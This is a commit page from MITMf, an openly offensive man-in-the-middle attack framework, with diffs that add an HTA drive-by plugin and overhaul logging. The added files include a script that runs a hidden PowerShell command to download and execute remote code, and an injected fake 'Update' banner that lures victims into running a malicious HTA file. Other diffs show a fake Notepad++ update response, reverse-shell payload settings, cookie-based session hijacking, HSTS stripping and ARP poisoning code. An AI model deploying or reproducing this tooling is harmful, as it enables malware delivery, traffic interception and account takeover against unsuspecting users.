1
0
mirror of https://github.com/byt3bl33d3r/MITMf.git synced 2025-03-12 04:35:49 -07:00

This is a vewwwy big commit

- The inject plugin now uses beautifulsoup4 to actually parse HTML and add content to it as supposed to using regexes
- The logging of the whole framework has been compleatly overhauled
- plugindetect.js now includes os.js from the metasploit framework for os and browser detection, let's us fingerprint hosts even if UA is lying!
- New plugin HTA Drive-by has been added, prompts the user for a plugin update and makes them download an hta app which contains a powershell payload
- the API of the plugins has been simplified
- Improvements and error handling to user-agent parsing
- Some misc bugfixes
This commit is contained in:
byt3bl33d3r 2015-07-18 20:14:07 +02:00
parent ff0ada2a39
commit 5e2f30fb89
64 changed files with 3748 additions and 1473 deletions

@ -1,5 +1,4 @@
MITMf V0.9.7 #MITMf V0.9.8 - 'The Dark Side'
============
Framework for Man-In-The-Middle attacks Framework for Man-In-The-Middle attacks
@ -7,10 +6,9 @@ Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.i
This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project.
Contact me at: Twitter: @byt3bl33d3r
- Twitter: @byt3bl33d3r IRC on Freenode: #MITMf
- IRC on Freenode: #MITMf Email: byt3bl33d3r@gmail.com
- Email: byt3bl33d3r@gmail.com
**Update: Installation steps have changed! Please read the new [instructions](#installation)** **Update: Installation steps have changed! Please read the new [instructions](#installation)**

@ -0,0 +1,4 @@
<script>
var c = "powershell.exe -w hidden -nop -ep bypass -c \"\"IEX ((new-object net.webclient).downloadstring('http://0.0.0.0:3000/ps/ps.png')); Invoke-ps\"\"";
new ActiveXObject('WScript.Shell').Run(c);
</script>

@ -25,7 +25,7 @@
# #
port = 445 port = 445
type = normal # Can be set to Normal or Karma mode = normal # Can be set to Normal or Karma
# Set a custom challenge # Set a custom challenge
Challenge = 1122334455667788 Challenge = 1122334455667788
@ -57,14 +57,13 @@
# ini = /tmp/desktop.ini # ini = /tmp/desktop.ini
# bat = /tmp/evil.bat # bat = /tmp/evil.bat
#This is still experimental, don't uncomment pls! [[HTTP]]
#[[HTTP]]
# #
# Here you can configure MITMf's internal HTTP server # Here you can configure MITMf's internal HTTP server
# #
#port = 80 port = 80
#[[[Paths]]] #[[[Paths]]]
@ -477,7 +476,7 @@
# PATCH_METHOD overwrites PATCH_TYPE with jump # PATCH_METHOD overwrites PATCH_TYPE with jump
# PATCH_METHOD = automatic # PATCH_METHOD = automatic
PATCH_METHOD = PATCH_METHOD =
HOST = 192.168.1.16 HOST = 192.168.10.11
PORT = 8443 PORT = 8443
SHELL = iat_reverse_tcp_stager_threaded SHELL = iat_reverse_tcp_stager_threaded
SUPPLIED_SHELLCODE = None SUPPLIED_SHELLCODE = None
@ -511,3 +510,10 @@
PORT = 5555 PORT = 5555
SUPPLIED_SHELLCODE = None SUPPLIED_SHELLCODE = None
MSFPAYLOAD = linux/x64/shell_reverse_tcp MSFPAYLOAD = linux/x64/shell_reverse_tcp
[EvilGrade]
[[NotePad++]]
host = 'notepad-plus-plus.org'
url = '/update/getDownloadUrl.php?version='
data = r'<GUP><NeedToBeUpdated>yes</NeedToBeUpdated><Version>%RAND%</Version><Location>http://notepad-plus-plus.org/repository/%RAND%/%RAND%/npp.%RAND%.Installer.exe</Location></GUP>'

70
core/banners.py Normal file

@ -0,0 +1,70 @@
# -*- coding: utf-8 -*-
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import random
banner1 = """
__ __ ___ .--. __ __ ___
| |/ `.' `. |__| | |/ `.' `. _.._
| .-. .-. '.--. .| | .-. .-. ' .' .._|
| | | | | || | .' |_ | | | | | | | '
| | | | | || | .' || | | | | | __| |__
| | | | | || |'--. .-'| | | | | ||__ __|
| | | | | || | | | | | | | | | | |
|__| |__| |__||__| | | |__| |__| |__| | |
| '.' | |
| / | |
`'-' |_|
"""
banner2= """
"""
banner3 = """
"""
banner4 = """
"""
def get_banner():
banners = [banner1, banner2, banner3, banner4]
return random.choice(banners)

@ -18,24 +18,17 @@
# USA # USA
# #
import logging
from mitmflib.watchdog.observers import Observer from mitmflib.watchdog.observers import Observer
from mitmflib.watchdog.events import FileSystemEventHandler from mitmflib.watchdog.events import FileSystemEventHandler
from configobj import ConfigObj from configobj import ConfigObj
logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages class ConfigWatcher(FileSystemEventHandler, object):
log = logging.getLogger('mitmf')
class ConfigWatcher(FileSystemEventHandler):
@property @property
def config(self): def config(self):
return ConfigObj("./config/mitmf.conf") return ConfigObj("./config/mitmf.conf")
def on_modified(self, event): def on_modified(self, event):
log.debug("[{}] Detected configuration changes, reloading!".format(self.name))
self.on_config_change() self.on_config_change()
def start_config_watch(self): def start_config_watch(self):

@ -39,7 +39,8 @@ from URLMonitor import URLMonitor
from CookieCleaner import CookieCleaner from CookieCleaner import CookieCleaner
from DnsCache import DnsCache from DnsCache import DnsCache
mitmf_logger = logging.getLogger('mitmf') formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("Ferret_ClientRequest", formatter)
class ClientRequest(Request): class ClientRequest(Request):
@ -62,7 +63,7 @@ class ClientRequest(Request):
if 'accept-encoding' in headers: if 'accept-encoding' in headers:
del headers['accept-encoding'] del headers['accept-encoding']
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Zapped encoding") log.debug("[ClientRequest] Zapped encoding")
if 'if-modified-since' in headers: if 'if-modified-since' in headers:
del headers['if-modified-since'] del headers['if-modified-since']
@ -74,10 +75,10 @@ class ClientRequest(Request):
try: try:
for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]: for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]:
if headers['host'] == entry['host']: if headers['host'] == entry['host']:
mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host'])) log.info("Hijacking session for host: {}".format(headers['host']))
headers['cookie'] = entry['cookie'] headers['cookie'] = entry['cookie']
except KeyError: except KeyError:
mitmf_logger.error("[Ferret-NG] No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client)) log.error("No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client))
pass pass
return headers return headers
@ -90,7 +91,7 @@ class ClientRequest(Request):
return self.uri return self.uri
def handleHostResolvedSuccess(self, address): def handleHostResolvedSuccess(self, address):
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address))
host = self.getHeader("host") host = self.getHeader("host")
headers = self.cleanHeaders() headers = self.cleanHeaders()
client = self.getClientIP() client = self.getClientIP()
@ -107,18 +108,18 @@ class ClientRequest(Request):
self.dnsCache.cacheResolution(hostparts[0], address) self.dnsCache.cacheResolution(hostparts[0], address)
if (not self.cookieCleaner.isClean(self.method, client, host, headers)): if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending expired cookies") log.debug("[ClientRequest] Sending expired cookies")
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
if 'securelink' in headers: if 'securelink' in headers:
del headers['securelink'] del headers['securelink']
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via SSL ({})".format((client,url))) log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url)))
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
else: else:
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via HTTP") log.debug("[ClientRequest] Sending request via HTTP")
#self.proxyViaHTTP(address, self.method, path, postData, headers) #self.proxyViaHTTP(address, self.method, path, postData, headers)
port = 80 port = 80
if len(hostparts) > 1: if len(hostparts) > 1:
@ -127,7 +128,7 @@ class ClientRequest(Request):
self.proxyViaHTTP(address, self.method, path, postData, headers, port) self.proxyViaHTTP(address, self.method, path, postData, headers, port)
def handleHostResolvedError(self, error): def handleHostResolvedError(self, error):
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host resolution error: {}".format(error)) log.debug("[ClientRequest] Host resolution error: {}".format(error))
try: try:
self.finish() self.finish()
except: except:
@ -137,13 +138,13 @@ class ClientRequest(Request):
address = self.dnsCache.getCachedAddress(host) address = self.dnsCache.getCachedAddress(host)
if address != None: if address != None:
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host cached: {} {}".format(host, address)) log.debug("[ClientRequest] Host cached: {} {}".format(host, address))
return defer.succeed(address) return defer.succeed(address)
else: else:
return reactor.resolve(host) return reactor.resolve(host)
def process(self): def process(self):
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolving host: {}".format(self.getHeader('host'))) log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host')))
host = self.getHeader('host').split(":")[0] host = self.getHeader('host').split(":")[0]
deferred = self.resolveHost(host) deferred = self.resolveHost(host)

@ -16,10 +16,6 @@
# USA # USA
# #
import logging
mitmf_logger = logging.getLogger('mitmf')
class DnsCache: class DnsCache:
''' '''

@ -21,7 +21,8 @@ import logging, re, string
from ServerConnection import ServerConnection from ServerConnection import ServerConnection
from URLMonitor import URLMonitor from URLMonitor import URLMonitor
mitmf_logger = logging.getLogger('mitmf') formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("Ferret_SSLServerConnection", formatter)
class SSLServerConnection(ServerConnection): class SSLServerConnection(ServerConnection):
@ -63,13 +64,13 @@ class SSLServerConnection(ServerConnection):
if ((not link.startswith('http')) and (not link.startswith('/'))): if ((not link.startswith('http')) and (not link.startswith('/'))):
absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found path-relative link in secure transmission: " + link) log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link)
mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute path-relative link: " + absoluteLink) log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink)
elif not link.startswith('http'): elif not link.startswith('http'):
absoluteLink = "http://"+self.headers['host']+link absoluteLink = "http://"+self.headers['host']+link
mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found relative link in secure transmission: " + link) log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link)
mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute link: " + absoluteLink) log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink)
if not absoluteLink == "": if not absoluteLink == "":
absoluteLink = absoluteLink.replace('&amp;', '&') absoluteLink = absoluteLink.replace('&amp;', '&')

@ -28,7 +28,8 @@ import sys
from twisted.web.http import HTTPClient from twisted.web.http import HTTPClient
from URLMonitor import URLMonitor from URLMonitor import URLMonitor
mitmf_logger = logging.getLogger('mitmf') formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("Ferret_ServerConnection", formatter)
class ServerConnection(HTTPClient): class ServerConnection(HTTPClient):
@ -66,13 +67,13 @@ class ServerConnection(HTTPClient):
def sendRequest(self): def sendRequest(self):
if self.command == 'GET': if self.command == 'GET':
mitmf_logger.debug(self.client.getClientIP() + " [Ferret-NG] Sending Request: {}".format(self.headers['host'])) log.debug(self.client.getClientIP() + "Sending Request: {}".format(self.headers['host']))
self.sendCommand(self.command, self.uri) self.sendCommand(self.command, self.uri)
def sendHeaders(self): def sendHeaders(self):
for header, value in self.headers.iteritems(): for header, value in self.headers.iteritems():
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Sending header: ({}: {})".format(header, value)) log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value))
self.sendHeader(header, value) self.sendHeader(header, value)
self.endHeaders() self.endHeaders()
@ -82,7 +83,7 @@ class ServerConnection(HTTPClient):
self.transport.write(self.postData) self.transport.write(self.postData)
def connectionMade(self): def connectionMade(self):
mitmf_logger.debug("[Ferret-NG] [ServerConnection] HTTP connection made.") log.debug("[ServerConnection] HTTP connection made.")
self.sendRequest() self.sendRequest()
self.sendHeaders() self.sendHeaders()
@ -90,7 +91,7 @@ class ServerConnection(HTTPClient):
self.sendPostData() self.sendPostData()
def handleStatus(self, version, code, message): def handleStatus(self, version, code, message):
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Server response: {} {} {}".format(version, code, message)) log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message))
self.client.setResponseCode(int(code), message) self.client.setResponseCode(int(code), message)
def handleHeader(self, key, value): def handleHeader(self, key, value):
@ -100,15 +101,15 @@ class ServerConnection(HTTPClient):
if (key.lower() == 'content-type'): if (key.lower() == 'content-type'):
if (value.find('image') != -1): if (value.find('image') != -1):
self.isImageRequest = True self.isImageRequest = True
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is image content, not scanning") log.debug("[ServerConnection] Response is image content, not scanning")
if (key.lower() == 'content-encoding'): if (key.lower() == 'content-encoding'):
if (value.find('gzip') != -1): if (value.find('gzip') != -1):
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is compressed") log.debug("[ServerConnection] Response is compressed")
self.isCompressed = True self.isCompressed = True
elif (key.lower()== 'strict-transport-security'): elif (key.lower()== 'strict-transport-security'):
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Zapped a strict-trasport-security header") log.debug("[ServerConnection] Zapped a strict-trasport-security header")
elif (key.lower() == 'content-length'): elif (key.lower() == 'content-length'):
self.contentLength = value self.contentLength = value
@ -126,9 +127,9 @@ class ServerConnection(HTTPClient):
if self.length == 0: if self.length == 0:
self.shutdown() self.shutdown()
if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG": if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG":
for header, value in self.client.headers.iteritems(): for header, value in self.client.headers.iteritems():
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Receiving header: ({}: {})".format(header, value)) log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value))
def handleResponsePart(self, data): def handleResponsePart(self, data):
if (self.isImageRequest): if (self.isImageRequest):
@ -147,12 +148,12 @@ class ServerConnection(HTTPClient):
def handleResponse(self, data): def handleResponse(self, data):
if (self.isCompressed): if (self.isCompressed):
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Decompressing content...") log.debug("[ServerConnection] Decompressing content...")
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
data = self.replaceSecureLinks(data) data = self.replaceSecureLinks(data)
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Read from server {} bytes of data".format(len(data))) log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
if (self.contentLength != None): if (self.contentLength != None):
self.client.setHeader('Content-Length', len(data)) self.client.setHeader('Content-Length', len(data))
@ -165,7 +166,7 @@ class ServerConnection(HTTPClient):
try: try:
self.shutdown() self.shutdown()
except: except:
mitmf_logger.info("[Ferret-NG] [ServerConnection] Client connection dropped before request finished.") log.info("[ServerConnection] Client connection dropped before request finished.")
def replaceSecureLinks(self, data): def replaceSecureLinks(self, data):
@ -174,7 +175,7 @@ class ServerConnection(HTTPClient):
for match in iterator: for match in iterator:
url = match.group() url = match.group()
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Found secure reference: " + url) log.debug("[ServerConnection] Found secure reference: " + url)
url = url.replace('https://', 'http://', 1) url = url.replace('https://', 'http://', 1)
url = url.replace('&amp;', '&') url = url.replace('&amp;', '&')

@ -17,9 +17,11 @@
# #
import logging import logging
from core.logger import logger
from twisted.internet.protocol import ClientFactory from twisted.internet.protocol import ClientFactory
mitmf_logger = logging.getLogger('mimtf') formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("Ferret_ServerConnectionFactory", formatter)
class ServerConnectionFactory(ClientFactory): class ServerConnectionFactory(ClientFactory):
@ -34,12 +36,12 @@ class ServerConnectionFactory(ClientFactory):
return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
def clientConnectionFailed(self, connector, reason): def clientConnectionFailed(self, connector, reason):
mitmf_logger.debug("[ServerConnectionFactory] Server connection failed.") log.debug("Server connection failed.")
destination = connector.getDestination() destination = connector.getDestination()
if (destination.port != 443): if (destination.port != 443):
mitmf_logger.debug("[ServerConnectionFactory] Retrying via SSL") log.debug("Retrying via SSL")
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
else: else:
try: try:

@ -18,9 +18,6 @@
import re import re
import os import os
import logging
mitmf_logger = logging.getLogger('mimtf')
class URLMonitor: class URLMonitor:

71
core/html/htadriveby.html Normal file

@ -0,0 +1,71 @@
<script>
var newHTML = document.createElement('div');
newHTML.innerHTML = ' \
<style type="text/css"> \
\
#headerupdate { \
display:none; \
position: fixed !important; \
top: 0 !important; \
left: 0 !important; \
z-index: 2000 !important; \
width: 100% !important; \
height: 40px !important; \
overflow: hidden !important; \
font-size: 14px !important; \
color: black !important; \
font-weight: normal !important; \
background-color:#F0F0F0 !important; \
border-bottom: 1px solid #A0A0A0 !important; \
\
} \
\
#headerupdate h1 { \
float: left !important; \
margin-left: 2px !important; \
margin-top: 14px !important; \
padding-left: 30px !important; \
font-weight:normal !important; \
font-size: 13px !important; \
\
background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABsAAAAOCAYAAADez2d9AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsIAAA7CARUoSoAAAACnSURBVDhP5ZRNCgMhDIWj6ELwFt7JE3gkT+GRPIVLwZ8Wpy4KNXFm6KLQDx4qgbwkoiyl9AAE7z0opUBrDaUUyDmDc24bw+BzXVJrnbsX72cqhkF2FmMEKSUIIaD3fiQ0xmxjGKhZCOFIcgXOOVhr5+kTdIyj0mF2RbtRomattVuiQM1WlZ8RxW90tkp0RhR/aLa6/DOiQM0YY8tklMajpiC/q+8C8AS167V3qBALWwAAAABJRU5ErkJggg==") no-repeat left top !important; \
} \
\
#headerupdate ul { \
padding: 0 !important; \
text-align: right !important; \
} \
\
#headerupdate li { \
display: inline-block !important; \
margin: 0px 15px !important; \
text-align: left !important; \
} \
\
</style> \
<div id="headerupdate"> \
<h1> \
<strong> \
_TEXT_GOES_HERE_ \
</strong> \
</h1> \
\
<ul> \
\
<li> \
<a target="_blank" href="http://_IP_GOES_HERE_/Flash.hta"> \
<button type="button" style="font-size: 100%; margin-top: 5px; padding: 2px 5px 2px 5px; color: black;"> \
Update \
</button> \
\
</a> \
</li> \
</ul> \
</div> \
';
document.body.appendChild(newHTML);
document.getElementById("headerupdate").style.display = "block";
</script>

File diff suppressed because one or more lines are too long

104
core/mitmfapi.py Normal file

@ -0,0 +1,104 @@
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
"""
Originally coded by @xtr4nge
"""
#import multiprocessing
import threading
import logging
import json
import sys
from flask import Flask
from core.configwatcher import ConfigWatcher
from core.sergioproxy.ProxyPlugins import ProxyPlugins
app = Flask(__name__)
class mitmfapi:
_instance = None
host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host']
port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port'])
@staticmethod
def getInstance():
if mitmfapi._instance is None:
mitmfapi._instance = mitmfapi()
return mitmfapi._instance
@app.route("/")
def getPlugins():
# example: http://127.0.0.1:9090/
pdict = {}
#print ProxyPlugins.getInstance().plist
for activated_plugin in ProxyPlugins.getInstance().plist:
pdict[activated_plugin.name] = True
#print ProxyPlugins.getInstance().plist_all
for plugin in ProxyPlugins.getInstance().plist_all:
if plugin.name not in pdict:
pdict[plugin.name] = False
#print ProxyPlugins.getInstance().pmthds
return json.dumps(pdict)
@app.route("/<plugin>")
def getPluginStatus(plugin):
# example: http://127.0.0.1:9090/cachekill
for p in ProxyPlugins.getInstance().plist:
if plugin == p.name:
return json.dumps("1")
return json.dumps("0")
@app.route("/<plugin>/<status>")
def setPluginStatus(plugin, status):
# example: http://127.0.0.1:9090/cachekill/1 # enabled
# example: http://127.0.0.1:9090/cachekill/0 # disabled
if status == "1":
for p in ProxyPlugins.getInstance().plist_all:
if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist):
ProxyPlugins.getInstance().addPlugin(p)
return json.dumps({"plugin": plugin, "response": "success"})
elif status == "0":
for p in ProxyPlugins.getInstance().plist:
if p.name == plugin:
ProxyPlugins.getInstance().removePlugin(p)
return json.dumps({"plugin": plugin, "response": "success"})
return json.dumps({"plugin": plugin, "response": "failed"})
def startFlask(self):
app.run(debug=False, host=self.host, port=self.port)
#def start(self):
# api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask)
# api_thread.daemon = True
# api_thread.start()
def start(self):
api_thread = threading.Thread(name='mitmfapi', target=self.startFlask)
api_thread.setDaemon(True)
api_thread.start()

@ -27,8 +27,6 @@ import requests
from core.configwatcher import ConfigWatcher from core.configwatcher import ConfigWatcher
from core.utils import shutdown from core.utils import shutdown
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
class Msfrpc: class Msfrpc:
class MsfError(Exception): class MsfError(Exception):
@ -87,7 +85,7 @@ class Msfrpc:
except: except:
raise self.MsfAuthError("MsfRPC: Authentication failed") raise self.MsfAuthError("MsfRPC: Authentication failed")
class Msf: class Msf(ConfigWatcher):
''' '''
This is just a wrapper around the Msfrpc class, This is just a wrapper around the Msfrpc class,
prevents a lot of code re-use throught the framework prevents a lot of code re-use throught the framework
@ -95,13 +93,14 @@ class Msf:
''' '''
def __init__(self): def __init__(self):
try: try:
self.msf = Msfrpc({"host": ConfigWatcher.config['MITMf']['Metasploit']['rpcip'], self.msf = Msfrpc({"host": self.config['MITMf']['Metasploit']['rpcip'],
"port": ConfigWatcher.config['MITMf']['Metasploit']['rpcport']}) "port": self.config['MITMf']['Metasploit']['rpcport']})
self.msf.login('msf', ConfigWatcher.config['MITMf']['Metasploit']['rpcpass']) self.msf.login('msf', self.config['MITMf']['Metasploit']['rpcpass'])
except Exception as e: except Exception as e:
shutdown("[Msfrpc] Error connecting to Metasploit: {}".format(e)) shutdown("[Msfrpc] Error connecting to Metasploit: {}".format(e))
@property
def version(self): def version(self):
return self.msf.call('core.version')['version'] return self.msf.call('core.version')['version']
@ -114,12 +113,14 @@ class Msf:
def killjob(self, pid): def killjob(self, pid):
return self.msf.call('job.kill', [pid]) return self.msf.call('job.kill', [pid])
def findpid(self, name): def findjobs(self, name):
jobs = self.jobs() jobs = self.jobs()
pids = []
for pid, jobname in jobs.iteritems(): for pid, jobname in jobs.iteritems():
if name in jobname: if name in jobname:
return pid pids.append(pid)
return None
return pids
def sessions(self): def sessions(self):
return self.msf.call('session.list') return self.msf.call('session.list')

@ -1,5 +1,3 @@
#!/usr/bin/env python2
import logging import logging
import binascii import binascii
import struct import struct
@ -15,8 +13,6 @@ from BaseHTTPServer import BaseHTTPRequestHandler
from StringIO import StringIO from StringIO import StringIO
from urllib import unquote from urllib import unquote
# shut up scapy
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import * from scapy.all import *
conf.verb=0 conf.verb=0

@ -1,88 +0,0 @@
import logging
import os
import sys
import threading
from scapy.all import *
from core.utils import shutdown
mitmf_logger = logging.getLogger('mitmf')
class ARPWatch:
def __init__(self, gatewayip, myip, interface):
self.gatewayip = gatewayip
self.gatewaymac = None
self.myip = myip
self.interface = interface
self.debug = False
self.watch = True
def start(self):
try:
self.gatewaymac = getmacbyip(self.gatewayip)
if self.gatewaymac is None:
shutdown("[ARPWatch] Error: Could not resolve gateway's MAC address")
except Exception, e:
shutdown("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e))
mitmf_logger.debug("[ARPWatch] gatewayip => {}".format(self.gatewayip))
mitmf_logger.debug("[ARPWatch] gatewaymac => {}".format(self.gatewaymac))
mitmf_logger.debug("[ARPWatch] myip => {}".format(self.myip))
mitmf_logger.debug("[ARPWatch] interface => {}".format(self.interface))
t = threading.Thread(name='ARPWatch', target=self.startARPWatch)
t.setDaemon(True)
t.start()
def stop(self):
mitmf_logger.debug("[ARPWatch] shutting down")
self.watch = False
def startARPWatch(self):
sniff(prn=self.arp_monitor_callback, filter="arp", store=0)
def arp_monitor_callback(self, pkt):
if self.watch is True: #Prevents sending packets on exiting
if ARP in pkt and pkt[ARP].op == 1: #who-has only
#broadcast mac is 00:00:00:00:00:00
packet = None
#print str(pkt[ARP].hwsrc) #mac of sender
#print str(pkt[ARP].psrc) #ip of sender
#print str(pkt[ARP].hwdst) #mac of destination (often broadcst)
#print str(pkt[ARP].pdst) #ip of destination (Who is ...?)
if (str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and str(pkt[ARP].pdst) == self.gatewayip and self.myip != str(pkt[ARP].psrc)):
mitmf_logger.debug("[ARPWatch] {} is asking where the Gateway is. Sending reply: I'm the gateway biatch!'".format(pkt[ARP].psrc))
#send repoison packet
packet = ARP()
packet.op = 2
packet.psrc = self.gatewayip
packet.hwdst = str(pkt[ARP].hwsrc)
packet.pdst = str(pkt[ARP].psrc)
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip != str(pkt[ARP].pdst)):
mitmf_logger.debug("[ARPWatch] Gateway asking where {} is. Sending reply: I'm {} biatch!".format(pkt[ARP].pdst, pkt[ARP].pdst))
#send repoison packet
packet = ARP()
packet.op = 2
packet.psrc = self.gatewayip
packet.hwdst = '00:00:00:00:00:00'
packet.pdst = str(pkt[ARP].pdst)
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip == str(pkt[ARP].pdst)):
mitmf_logger.debug("[ARPWatch] Gateway asking where {} is. Sending reply: This is the h4xx0r box!".format(pkt[ARP].pdst))
packet = ARP()
packet.op = 2
packet.psrc = self.myip
packet.hwdst = str(pkt[ARP].hwsrc)
packet.pdst = str(pkt[ARP].psrc)
try:
if packet is not None:
send(packet, verbose=self.debug, iface=self.interface)
except Exception as e:
if "Interrupted system call" not in e:
mitmf_logger.error("[ARPWatch] Exception occurred while sending re-poison packet: {}".format(e))
pass

@ -1,40 +1,93 @@
import logging # Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import threading import threading
import logging
from traceback import print_exc from traceback import print_exc
from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError
from core.logger import logger
from core.utils import set_ip_forwarding, iptables
from time import sleep from time import sleep
from core.utils import shutdown from scapy.all import ARP, send, sendp, sniff, getmacbyip
from scapy.all import *
mitmf_logger = logging.getLogger('mitmf') formatter = logging.Formatter("%(asctime)s [ARPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ARPpoisoner", formatter)
class ARPpoisoner(): class ARPpoisoner:
name = 'ARP'
optname = 'arp'
desc = 'Redirect traffic using ARP requests or replies'
version = '0.1'
def __init__(self, gateway, interface, mac, targets): def __init__(self, options):
try: try:
self.gatewayip = str(IPAddress(gateway)) self.gatewayip = str(IPAddress(options.gateway))
except AddrFormatError as e: except AddrFormatError as e:
shutdown("[ARPpoisoner] Specified an invalid IP address as gateway") sys.exit("Specified an invalid IP address as gateway")
self.gatewaymac = getmacbyip(gateway) self.gatewaymac = getmacbyip(options.gateway)
